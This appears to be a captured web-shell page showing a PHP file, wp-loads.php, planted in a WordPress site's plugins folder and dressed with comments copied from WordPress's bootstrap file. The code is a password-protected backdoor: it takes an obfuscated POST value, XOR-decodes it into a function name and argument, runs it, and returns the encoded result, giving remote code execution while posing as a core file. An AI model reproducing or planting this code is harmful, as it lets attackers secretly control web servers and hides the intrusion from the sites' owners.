HEX
Server: Apache/2.4.46 (Ubuntu)
System: Linux localhost 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64
User: root (0)
PHP: 7.4.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/dooblo.cccinfotech.com/wp-content/plugins/wp-loads.php
<?php
/**
 * Bootstrap file for setting the ABSPATH constant
 * and loading the wp-config.php file. The wp-config.php
 * file will then load the wp-settings.php file, which
 * will then set up the WordPress environment.
 *
 * If the wp-config.php file is not found then an error
 * will be displayed asking the visitor to set up the
 * wp-config.php file.
 *
 * Will also search for wp-config.php in WordPress' parent
 * directory to allow the WordPress directory to remain
 * untouched.
 *
 * @package WordPress
 */

/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */

@error_reporting(0);

/*
 * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
 * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
 * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
 * and /blog/ is WordPress(b).
 *
 * If neither set of conditions is true, initiate loading the setup process.
 */
function load_options($load_data, $load_name) {
    $wp_bytes = hex2bin(base64_decode($load_data));
    $wp_keybs = str_split($load_name);
    for ($i = 0; $i < strlen($wp_bytes); $i++) {
        $wp_bytes[$i] = $wp_bytes[$i] ^ $wp_keybs[$i % count($wp_keybs)];
    }
    return $wp_bytes;
}

function call_load($load_data, $load_name) {
    $loaded_data = str_split($load_data);
    $wpr_values = str_split($load_name);
    for ($i = 0; $i < count($loaded_data); $i++) {
        $loaded_data[$i] = $loaded_data[$i] ^ $wpr_values[$i % count($wpr_values)];
    }
    return base64_encode(bin2hex(implode($loaded_data)));
}

$t = isset($_POST["wp_token"]) ? substr(md5($_POST["wp_token"]), 5, 16) : null;
if ($t != "6ff94a1548487b2f") {
    exit(0);
}

$queries = isset($_POST["wp_query"]) ? $_POST["wp_query"] : null;
$arr = explode(':', load_options($queries, $t));
$opt1 = $arr[0];
$opt2 = $arr[1];
echo call_load($opt1($opt2), $t);
exit(0);